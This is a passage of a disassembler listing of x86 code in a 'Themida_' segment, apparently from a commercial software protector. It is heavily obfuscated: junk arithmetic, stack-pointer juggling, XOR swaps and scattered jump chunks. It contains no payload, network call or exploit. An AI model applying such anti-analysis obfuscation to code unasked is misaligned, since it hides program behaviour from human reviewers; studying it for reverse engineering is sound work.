; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_59E577: ; CODE XREF: sub_59390B-104j
pop edx
jmp loc_5A3308
; ---------------------------------------------------------------------------
loc_59E57D: ; CODE XREF: sub_59390B+37B2j
or eax, 6E70444Fh
shl eax, 3
xor eax, 5559320Ah
add ebx, eax
jmp loc_597AAA
; ---------------------------------------------------------------------------
loc_59E591: ; CODE XREF: sub_59390B+A0Aj
add edx, ecx
mov ecx, [esp+18h+var_18]
add esp, 4
xchg edx, [esp+14h+var_14]
mov esp, [esp+14h+var_14]
xor eax, esi
push [esp+14h+var_14]
pop esi
add esp, 4
jmp loc_59FE06
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
loc_59E5B0: ; CODE XREF: Themida_:0059F319j
not ah
push ebx
push edx
push ecx
mov ch, ah
push eax
mov al, ch
mov dl, al
mov eax, [esp]
add esp, 4
jmp loc_590B3D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_59E5CA: ; CODE XREF: sub_59390B+D759j
or bl, 88h
shl bl, 4
push ecx
mov cl, 0A3h
xor bl, cl
pop ecx
mov dl, bl
pop ebx
neg dl
add dl, 0FFh
jmp loc_59AF56
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
loc_59E5E3: ; CODE XREF: Themida_:005A54FEj
pop esi
pop dword ptr [esp]
pop esp
jmp loc_592D02
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59A905
loc_59E5ED: ; CODE XREF: sub_59A905-2B14j
add ecx, edi
pop edi
jmp loc_594B27
; END OF FUNCTION CHUNK FOR sub_59A905
; ---------------------------------------------------------------------------
loc_59E5F5: ; CODE XREF: Themida_:0059F64Aj
add esi, ecx
jmp loc_5951A8
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_59E5FC: ; CODE XREF: sub_59390B+13E4j
pop esp
jmp loc_5A3FE3
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
loc_59E602: ; CODE XREF: Themida_:0059C235j
mov ebp, ebx
pop ebx
push edx
mov edx, 96210AFh
sub edx, 0C18CF40Ch
jmp loc_598994
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59886E
loc_59E616: ; CODE XREF: sub_59886E-16BAj
inc ebx
push eax
jmp loc_5A34C5
; END OF FUNCTION CHUNK FOR sub_59886E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_595BAD
loc_59E61D: ; CODE XREF: sub_595BAD+CFDCj
mov eax, 78912B80h
shr eax, 3
sub esp, 4
mov [esp+8+var_8], ebp
mov ebp, 4C63AB9h
xor ebp, 2C2D4FE4h
sub ebp, 3F7E4AD4h
sub ebp, 0E2D5EEA0h
add eax, ebp
pop ebp
xor eax, 54805E1Ah
xor edx, eax
pop eax
and edi, edx
pop edx
sub edi, 18B3A685h
jmp loc_5A0C93
; END OF FUNCTION CHUNK FOR sub_595BAD
; ---------------------------------------------------------------------------
loc_59E65B: ; CODE XREF: Themida_:00596E73j
push edi
mov edi, esp
add edi, 4
sub edi, 4
xchg edi, [esp]
pop esp
mov [esp], ecx
mov ecx, esp
add ecx, 4
push edi
mov edi, 4
sub ecx, edi
pop edi
xor ecx, [esp]
xor [esp], ecx
xor ecx, [esp]
pop esp
mov [esp], edi
jmp loc_594DDD
; ---------------------------------------------------------------------------
loc_59E691: ; CODE XREF: Themida_:0059B812j
pop eax
push edi
jmp loc_59DC3E
; ---------------------------------------------------------------------------
loc_59E698: ; CODE XREF: Themida_:00599132j
sub ebp, 45703174h
sub ebp, ecx
add ebp, 45703174h
jmp loc_595101
; ---------------------------------------------------------------------------
loc_59E6AB: ; CODE XREF: Themida_:005A04A5j
push 4590h
mov [esp], esi
mov esi, esp
push edi
mov edi, 4
push eax
mov eax, 5934455Bh
add esi, eax
pop eax
sub esi, 4B8E5000h
add esi, edi
push eax
mov eax, 14B750B8h
jmp loc_591EB8
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_594C24
loc_59E6D7: ; CODE XREF: sub_594C24+8j
add ebp, 4
push eax
mov eax, 710F204Ch
push edi
mov edi, 43CE7264h
add eax, edi
pop edi
shr eax, 2
shl eax, 4
jmp loc_59A9CE
; END OF FUNCTION CHUNK FOR sub_594C24
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_591FE1
loc_59E6F7: ; CODE XREF: sub_591FE1+16FFj
push eax
jmp loc_59BB69
; END OF FUNCTION CHUNK FOR sub_591FE1
; ---------------------------------------------------------------------------
loc_59E6FD: ; DATA XREF: Themida_:00590804o
pop dword ptr [edx]
jmp loc_590A9B
; ---------------------------------------------------------------------------
loc_59E704: ; CODE XREF: Themida_:0059EF93j
not dh
sub dh, 0FFh
sub dh, 9Fh
push 3475h
jmp loc_595A2A
; =============== S U B R O U T I N E =======================================
sub_59E716 proc near ; DATA XREF: Themida_:00590A30o
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
; FUNCTION CHUNK AT 00594390 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0059BCE9 SIZE 00000029 BYTES
; FUNCTION CHUNK AT 005A333E SIZE 00000008 BYTES
movzx ax, byte ptr fs:[edx]
jmp loc_59BCE9
sub_59E716 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_59E720: ; CODE XREF: sub_59390B+59B1j
xor esi, ebp
pop ebp
add edx, esi
pop esi
sub edx, ebx
sub edx, 2EBC646Ch
sub edx, 43F9157Ch
pop ebx
jmp loc_590A9B
; ---------------------------------------------------------------------------
loc_59E73A: ; CODE XREF: sub_59390B+4022j
mov [esp+0], ecx
jmp loc_590A9B
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59E918
loc_59E742: ; CODE XREF: sub_59E918+1428j
mov dh, bl
pop ebx
pop eax
add al, dh
mov edx, [esp+6+var_8+2]
jmp loc_590D3F
; END OF FUNCTION CHUNK FOR sub_59E918
; ---------------------------------------------------------------------------
loc_59E750: ; CODE XREF: Themida_:005A09ADj
mov eax, [esp]
push ecx
mov ecx, esp
add ecx, 4
add ecx, 4
jmp loc_59690B
; ---------------------------------------------------------------------------
loc_59E764: ; CODE XREF: Themida_:00597508j
xor eax, edi
pop edi
push ebp
push ecx
mov ecx, 671A37DDh
mov ebp, ecx
jmp loc_59B937
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_59E775: ; CODE XREF: sub_59390B+26C7j
pop esp
jmp loc_59CA80
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
loc_59E77B: ; CODE XREF: Themida_:0059153Bj
xor ecx, [esp]
pop esp
and [edi+1Ch], eax
push dword ptr [esp]
pop eax
push ebp
push esp
pop ebp
push esi
mov esi, 3AC83BD7h
xor esi, 3AC83BD3h
add ebp, 2D612F75h
add ebp, esi
sub ebp, 2D612F75h
pop esi
add ebp, 4
push ebp
push dword ptr [esp+4]
jmp loc_59755E
; ---------------------------------------------------------------------------
loc_59E7B1: ; CODE XREF: Themida_:0059B6E2j
push 72DDh
mov [esp], ebx
push 4932h
push esp
pop dword ptr [esp]
add dword ptr [esp], 4
pop ebx
push 0C21h
mov [esp], esi
jmp loc_5A4C63
; ---------------------------------------------------------------------------
loc_59E7D7: ; CODE XREF: Themida_:0059FA5Bj
mov ecx, edx
jmp loc_5A4F36
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59654E
loc_59E7DE: ; CODE XREF: sub_59654E+5859j
push edx
jmp loc_5917B2
; END OF FUNCTION CHUNK FOR sub_59654E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_59E7E4: ; CODE XREF: sub_59390B+C5D2j
pop ecx
jmp loc_5A1BE7
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5A4CDD
loc_59E7EA: ; CODE XREF: sub_5A4CDD-F85Aj
mov eax, 1D2522F0h
add edx, eax
pop eax
jmp loc_5A4B64
; END OF FUNCTION CHUNK FOR sub_5A4CDD
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5A51EA
loc_59E7F7: ; CODE XREF: sub_5A51EA-3158j
push edi
push esp
pop edi
push ebx
mov ebx, 4
jmp loc_59591C
; END OF FUNCTION CHUNK FOR sub_5A51EA
; ---------------------------------------------------------------------------
loc_59E805: ; CODE XREF: Themida_:005A32EFj
mov edx, 0BDFC6004h
add ecx, edx
jmp loc_5A5752
; ---------------------------------------------------------------------------
loc_59E811: ; CODE XREF: Themida_:005911BFj
pop esi
jmp loc_5997BB
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59CAFB
loc_59E817: ; CODE XREF: sub_59CAFB-A1D8j
pop ebp
jmp loc_5A31E0
; END OF FUNCTION CHUNK FOR sub_59CAFB
; ---------------------------------------------------------------------------
loc_59E81D: ; CODE XREF: Themida_:00592F34j
pop ebx
push 7E4h
mov [esp], edx
push 4
push dword ptr [esp]
jmp loc_598E4A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5936EC
loc_59E833: ; CODE XREF: sub_5936EC+AAF4j
xor ebp, 32A2696Eh
xor ebp, 38DD4E10h
jmp loc_5A48BF
; END OF FUNCTION CHUNK FOR sub_5936EC
; ---------------------------------------------------------------------------
loc_59E844: ; CODE XREF: Themida_:00597023j
mov [esp], bx
push ecx
mov cl, 0Dh
mov bh, cl
pop ecx
sub cl, bh
pop bx
xor al, cl
push dword ptr [esp]
jmp loc_59520D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5A113A
loc_59E85C: ; CODE XREF: sub_5A113A-1920j
xor esi, 12A25BFDh
add edx, esi
mov esi, [esp+1Ch+var_1C]
add esp, 4
jmp loc_5A0B72
; END OF FUNCTION CHUNK FOR sub_5A113A
; ---------------------------------------------------------------------------
loc_59E872: ; CODE XREF: Themida_:0059D77Fj
mov [esp], ebx
sub esp, 4
mov [esp], esi
mov esi, 2F5122FFh
jmp loc_5A4DE2
; ---------------------------------------------------------------------------
loc_59E885: ; CODE XREF: Themida_:005A2C9Dj
pop ebp
mov ebx, edx
jmp loc_593C98
; ---------------------------------------------------------------------------
loc_59E88D: ; CODE XREF: Themida_:0059BA23j
pop ebx
jmp loc_59F968
; ---------------------------------------------------------------------------
loc_59E893: ; DATA XREF: Themida_:005909C0o
push dword ptr [esp]
push dword ptr [esp]
mov eax, [esp]
add esp, 4
add esp, 4
push esi
jmp loc_592F04
; ---------------------------------------------------------------------------
loc_59E8AB: ; CODE XREF: Themida_:005A5A63j
mov dl, al
pop eax
mov ebx, [esp]
push ebx
mov ebx, esp
push edx
mov edx, esp
add edx, 4
sub edx, 4
xchg edx, [esp]
pop esp
mov [esp], ecx
mov ecx, 4
add ebx, ecx
mov ecx, [esp]
add esp, 4
add ebx, 4
jmp loc_594EC8
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5A3F6E
loc_59E8E5: ; CODE XREF: sub_5A3F6E+10j
xchg edx, [esp+4+var_4]
pop esp
mov [esp+0], esp
add dword ptr [esp+0], 4
mov ecx, [esp+0]
jmp loc_596692
; END OF FUNCTION CHUNK FOR sub_5A3F6E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5A23FB
loc_59E8F8: ; CODE XREF: sub_5A23FB+51j
and edx, eax
mov eax, [esp-0Ch+arg_8]
add esp, 4
dec edx
jmp loc_5A1671
; END OF FUNCTION CHUNK FOR sub_5A23FB
; ---------------------------------------------------------------------------
loc_59E906: ; CODE XREF: Themida_:0059331Bj
pop ecx
push edx
jmp loc_593B3A
; ---------------------------------------------------------------------------
loc_59E90D: ; CODE XREF: Themida_:00599266j
and dh, 71h
xor dh, 0E5h
jmp loc_5997A6
; =============== S U B R O U T I N E =======================================
sub_59E918 proc near ; DATA XREF: Themida_:005909FCo
var_18 = dword ptr -18h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = word ptr -4
var_2 = word ptr -2
; FUNCTION CHUNK AT 00590B25 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 00590C18 SIZE 00000020 BYTES
; FUNCTION CHUNK AT 00590D3F SIZE 00000022 BYTES
; FUNCTION CHUNK AT 00591085 SIZE 0000002A BYTES
; FUNCTION CHUNK AT 00591791 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 00591A6C SIZE 0000001A BYTES
; FUNCTION CHUNK AT 00593070 SIZE 0000001F BYTES
; FUNCTION CHUNK AT 005936CE SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00594574 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00594B0C SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00594C7D SIZE 00000015 BYTES
; FUNCTION CHUNK AT 00595C1B SIZE 00000015 BYTES
; FUNCTION CHUNK AT 00596032 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0059837C SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00598B95 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 00598CE7 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0059A1D5 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0059B4F2 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0059D2E8 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0059D6BF SIZE 00000019 BYTES
; FUNCTION CHUNK AT 0059DF39 SIZE 0000002F BYTES
; FUNCTION CHUNK AT 0059E3C0 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0059E742 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0059F51D SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0059FBA8 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0059FD39 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0059FEE2 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 005A0031 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 005A0100 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 005A1FAF SIZE 00000009 BYTES
; FUNCTION CHUNK AT 005A20F7 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 005A2606 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 005A2E8A SIZE 0000001C BYTES
; FUNCTION CHUNK AT 005A3AB1 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 005A3D6A SIZE 00000018 BYTES
; FUNCTION CHUNK AT 005A3E7F SIZE 0000000E BYTES
; FUNCTION CHUNK AT 005A49C3 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 005A4F27 SIZE 00000007 BYTES
lodsb
push small 2FE2h
mov [esp+2+var_2], cx
mov cl, 57h
add cl, 6
shr cl, 1
shr cl, 3
shr cl, 2
add cl, 0E7h
push ecx
mov cl, 0B0h
xor cl, 0D3h
jmp loc_5A4F27
sub_59E918 endp
; =============== S U B R O U T I N E =======================================
sub_59E93C proc near ; CODE XREF: sub_590B9C+Aj
var_C = dword ptr -0Ch
var_8 = dword ptr -8
; FUNCTION CHUNK AT 0059136E SIZE 00000013 BYTES
; FUNCTION CHUNK AT 00592570 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 0059F375 SIZE 00000020 BYTES
push ebp
push 7FDC5F24h
mov ebp, [esp+8+var_8]
push ecx
mov ecx, esp
add ecx, 4
jmp loc_59F375
sub_59E93C endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_591FE1
loc_59E953: ; CODE XREF: sub_591FE1+1874j
xor eax, esi
xor esi, eax
not eax
xor esi, eax
xor eax, esi
xor esi, eax
xchg esi, ebp
push 10EAh
mov [esp+4+var_4], ebp
push dword ptr [esp+4]
push [esp+8+var_8]
push [esp+0Ch+var_C]
pop ebp
add esp, 4
add esp, 4
pop [esp+4+var_4]
pop eax
push edi
jmp loc_59E304
; END OF FUNCTION CHUNK FOR sub_591FE1
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_59E987: ; CODE XREF: sub_59390B+46Aj
or ebx, 3F09020Fh
dec ebx
jmp loc_596C95
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5964B7
loc_59E993: ; CODE XREF: sub_5964B7-724j
push edi
push 2E64035h
pop edi
sub edi, 9E592748h
mov eax, edi
jmp loc_597F35
; END OF FUNCTION CHUNK FOR sub_5964B7
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_59E9A7: ; CODE XREF: sub_59390B+72AEj
push eax
mov eax, 2292926h
shl eax, 3
or eax, 2B8F4E98h
neg eax
jmp loc_5914C4
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
loc_59E9BC: ; CODE XREF: Themida_:005A1766j
xchg edi, [esp]
mov esp, [esp]
sar dword ptr [esp], cl
pushf
jmp loc_59FCC6
; ---------------------------------------------------------------------------
loc_59E9CB: ; CODE XREF: Themida_:005A371Bj
inc edi
jmp loc_59998D
; ---------------------------------------------------------------------------
loc_59E9D1: ; CODE XREF: Themida_:0059AC3Cj
push ecx
push 203763A1h
pop ecx
push edi
mov edi, 0EDD4F97h
or ecx, edi
pop edi
sub esp, 4
mov [esp], ecx
jmp loc_59215E
; ---------------------------------------------------------------------------
loc_59E9EF: ; CODE XREF: Themida_:00591B4Aj
xchg eax, [esp]
pop esp
push edx
jmp loc_592698
; =============== S U B R O U T I N E =======================================
sub_59E9F9 proc near ; DATA XREF: Themida_:005909F4o
mov cx, [esp+0]
jmp sub_59B06D
sub_59E9F9 endp
; ---------------------------------------------------------------------------
loc_59EA02: ; CODE XREF: Themida_:005A5085j
xchg eax, [esp]
pop esp
jmp loc_5953CC
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_594D13
loc_59EA0B: ; CODE XREF: sub_594D13+80Fj
mov ecx, 0F826F34h
and ecx, 5F0A1637h
jmp loc_59C086
; END OF FUNCTION CHUNK FOR sub_594D13
; ---------------------------------------------------------------------------
loc_59EA1B: ; CODE XREF: Themida_:0059E333j
push ecx
jmp loc_59B294
; ---------------------------------------------------------------------------
loc_59EA21: ; CODE XREF: Themida_:0059F8D0j
push esi
sub esp, 4
mov [esp], eax
push 214C63EFh
pop eax
shr eax, 3
and eax, 6D4F03D9h
push esi
push ebp
jmp loc_59EF2D
; =============== S U B R O U T I N E =======================================
sub_59EA40 proc near ; CODE XREF: sub_59390B+46F4j
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
; FUNCTION CHUNK AT 005914BB SIZE 00000009 BYTES
; FUNCTION CHUNK AT 00591E98 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 00592DCB SIZE 00000012 BYTES
; FUNCTION CHUNK AT 00597D9E SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00598865 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0059A591 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 0059A9A5 SIZE 00000029 BYTES
; FUNCTION CHUNK AT 0059BAB5 SIZE 00000031 BYTES
; FUNCTION CHUNK AT 0059C8AA SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0059CF09 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 0059F09E SIZE 00000016 BYTES
; FUNCTION CHUNK AT 005A1D8A SIZE 00000023 BYTES
; FUNCTION CHUNK AT 005A209E SIZE 0000000E BYTES
push ebx
jmp loc_59F09E
sub_59EA40 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
loc_59EA46: ; CODE XREF: Themida_:005A38A0j
pop esp
push 7C0Bh
mov [esp], eax
mov eax, 0C64209Fh
sub ebx, eax
pop eax
sub ebx, 422A6CE0h
add ebx, eax
add ebx, 422A6CE0h
push eax
push ebp
jmp loc_59ACE4
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59F4E7
loc_59EA6C: ; CODE XREF: sub_59F4E7+12j
neg ebp
jmp loc_5A1205
; END OF FUNCTION CHUNK FOR sub_59F4E7
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_59EA73: ; CODE XREF: sub_59390B+571Ej
pop esp
mov [esp+0], esi
jmp loc_5928C5
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
loc_59EA7C: ; CODE XREF: Themida_:005A5A5Bj
pop esp
pop ecx
jmp loc_59C91C
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_59EA83: ; CODE XREF: sub_59390B+C66Bj
pop esi
push esi
push edi
mov edi, 4BA913A6h
jmp loc_59877F
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_590BDF
loc_59EA90: ; CODE XREF: sub_590BDF+1218Aj
push [esp+8+var_8]
pop edx
push edx
mov edx, esp
add edx, 4
add edx, 4
xchg edx, [esp+0Ch+var_C]
jmp loc_5A198E
; END OF FUNCTION CHUNK FOR sub_590BDF
; ---------------------------------------------------------------------------
loc_59EAAB: ; CODE XREF: Themida_:005A2064j
add edx, 4
xchg edx, [esp]
pop esp
push ecx
jmp loc_5972F5
; ---------------------------------------------------------------------------
loc_59EAB8: ; CODE XREF: Themida_:0059D297j
mov ebp, 59564318h
add ebp, 35C51C3Ch
jmp loc_592BC1
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_59EAC8: ; CODE XREF: sub_59390B+757j
sub ebx, esi
jmp loc_593BEF
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
loc_59EACF: ; CODE XREF: Themida_:0059DBFFj
jmp loc_590A9B
; ---------------------------------------------------------------------------
loc_59EAD4: ; CODE XREF: Themida_:00596FC4j
push edi
jmp loc_59474F
; ---------------------------------------------------------------------------
loc_59EADA: ; CODE XREF: Themida_:005A1756j
jmp loc_590A9B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59A431
loc_59EADF: ; CODE XREF: sub_59A431+9876j
mov ecx, 23A2E698h
jmp loc_59A0EB
; END OF FUNCTION CHUNK FOR sub_59A431
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_59EAE9: ; CODE XREF: sub_59390B+5306j
mov dl, ch
mov ah, dl
pop edx
pop cx
and ah, 9Ah
shr ah, 1
sub ah, 94h
xor ah, 3
jmp loc_5A1413
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
loc_59EB00: ; CODE XREF: Themida_:0059388Aj
sub esp, 4
mov [esp], edx
jmp loc_5951EC
; ---------------------------------------------------------------------------
loc_59EB0B: ; CODE XREF: Themida_:005A08E9j
pop edx
jmp loc_59F5F0
; ---------------------------------------------------------------------------
loc_59EB11: ; CODE XREF: Themida_:005A0508j
mov ecx, esp
push ebx
mov ebx, 4
add ecx, ebx
jmp loc_59152E
; ---------------------------------------------------------------------------
loc_59EB20: ; CODE XREF: Themida_:0059C2A7j
sub esp, 4
mov [esp], edx
mov dl, 3Ah
mov ch, dl
pop edx
add ch, 1Ch
jmp loc_59F8BA
; ---------------------------------------------------------------------------
loc_59EB33: ; CODE XREF: Themida_:0059A3D8j
mov ebx, eax
pop eax
jmp loc_59B4FB
; ---------------------------------------------------------------------------
loc_59EB3B: ; CODE XREF: Themida_:00595A46j
mov ecx, [esp]
jmp loc_59182B
; ---------------------------------------------------------------------------
loc_59EB43: ; CODE XREF: Themida_:0059F6A3j
mov eax, 45776661h
and eax, 0C10214h
push eax
not dword ptr [esp]
jmp loc_5A595A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59FCCB
loc_59EB56: ; CODE XREF: sub_59FCCB+52B8j
add bh, 2Bh
jmp loc_5A0C26
; END OF FUNCTION CHUNK FOR sub_59FCCB
; ---------------------------------------------------------------------------
loc_59EB5E: ; CODE XREF: Themida_:0059978Dj
sub eax, esi
pop esi
add ecx, eax
mov eax, [esp]
add esp, 4
xor ecx, [esp]
xor [esp], ecx
xor ecx, [esp]
mov esp, [esp]
mov dx, [esp]
sub esp, 4
mov [esp], ecx
jmp loc_59BB1E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59F401
loc_59EB87: ; CODE XREF: sub_59F401+107Ej
pop ebx
add [esp+4], esi
push edx
jmp loc_59F06C
; END OF FUNCTION CHUNK FOR sub_59F401
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59A75E
loc_59EB92: ; CODE XREF: sub_59A75E-AE8j
add esi, edx
pop edx
add ecx, esi
pop esi
add ecx, 2
xchg ecx, [esp+6+var_8+2]
mov esp, [esp+6+var_8+2]
sub esp, 2
jmp loc_5A3C69
; END OF FUNCTION CHUNK FOR sub_59A75E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5A085D
loc_59EBA9: ; CODE XREF: sub_5A085D+24ECj
mov bh, 43h
jmp loc_595B14
; END OF FUNCTION CHUNK FOR sub_5A085D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_59EBB0: ; CODE XREF: sub_59390B-24C9j
push edi
mov edi, 771D6689h
dec edi
shr edi, 1
push ebx
mov ebx, 0CEABA86Fh
sub edi, ebx
pop ebx
mov ebx, edi
jmp loc_5A0AED
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
loc_59EBC9: ; CODE XREF: Themida_:005A494Aj
push eax
mov eax, 4D37189h
jmp loc_5A0DBA
; ---------------------------------------------------------------------------
loc_59EBD4: ; CODE XREF: Themida_:005A27D8j
push 3F66h
mov [esp], esp
push ebp
jmp loc_598F30
; ---------------------------------------------------------------------------
loc_59EBE2: ; CODE XREF: Themida_:00598AB2j
add ebp, 4
add ebp, 4
xchg ebp, [esp]
pop esp
add esp, 4
push edx
jmp loc_5A2EC8
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_59EBFE: ; CODE XREF: sub_59390B-10ADj
mov ecx, 9666A8Fh
or ecx, 39250FF3h
shr ecx, 4
neg ecx
sub ecx, 69433860h
sub ecx, 9326509Dh
sub ebp, 4E3F7ED5h
add ebp, ecx
add ebp, 4E3F7ED5h
pop ecx
jmp loc_593CF1
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5A0D58
loc_59EC2E: ; CODE XREF: sub_5A0D58-97C8j
mov esi, esp
add esi, 4
sub esi, 4
xor esi, [esp+0]
xor [esp+0], esi
xor esi, [esp+0]
pop esp
mov [esp-4+arg_0], esi
push 6D838824h
push dword ptr [esp+0]
pop esi
add esp, 4
sub eax, 5CC91BF0h
add eax, 2C247E9Ah
sub eax, esi
sub eax, 2C247E9Ah
push ecx
jmp loc_597770
; END OF FUNCTION CHUNK FOR sub_5A0D58
; ---------------------------------------------------------------------------
loc_59EC6F: ; CODE XREF: Themida_:005A5B2Ej
pop edx
push dword ptr [esp]
pop eax
add esp, 4
jmp loc_5A2FDF
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_599AE1
loc_59EC7C: ; CODE XREF: sub_599AE1+72Dj
add edx, 4
sub edx, 4
jmp loc_59D37A
; END OF FUNCTION CHUNK FOR sub_599AE1
; ---------------------------------------------------------------------------
mov ax, [esp]
jmp loc_59EF0E
; ---------------------------------------------------------------------------
loc_59EC96: ; CODE XREF: Themida_:005A1C2Ej
pop edx
push dword ptr [esp]
jmp loc_5A3D5B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_59EC9F: ; CODE XREF: sub_59390B+892j
pop esp
push 2AE5h
mov [esp+8+var_8], ebp
push esi
push edx
jmp loc_5915B1
; ---------------------------------------------------------------------------
loc_59ECAF: ; CODE XREF: sub_59390B+514Cj
mov esp, [esp-12h+arg_8+2]
sub esp, 4
mov [esp-0Eh+arg_4+2], ecx
mov cl, 55h
push 0A24h
mov [esp-0Ah+arg_0+2], ebx
push edx
mov dh, 43h
sub esp, 4
mov [esp+0], ebx
push ecx
mov ch, 68h
mov bl, ch
pop ecx
jmp loc_5929FC
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
loc_59ECD9: ; CODE XREF: Themida_:00598088j
sub eax, 3A1C5722h
pop edx
sub edi, 9854006h
add edi, 6EBF340Eh
sub edi, eax
sub edi, 6EBF340Eh
add edi, 9854006h
mov eax, [esp]
jmp loc_5A006B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5932F7
loc_59ED01: ; CODE XREF: sub_5932F7-1B1Bj
mov ebx, 0F9CBFC6Dh
add ebp, 61935E13h
add ebp, ebx
sub ebp, 61935E13h
pop ebx
jmp loc_5A035E
; END OF FUNCTION CHUNK FOR sub_5932F7
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59A75E
loc_59ED1A: ; CODE XREF: sub_59A75E+12E6j
mov si, 522Eh
push di
mov di, 3882h
jmp loc_5943DE
; END OF FUNCTION CHUNK FOR sub_59A75E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5A0060
loc_59ED29: ; CODE XREF: sub_5A0060+1156j
add edx, edi
pop edi
push ebx
mov ebx, 2
sub edx, 46B557A6h
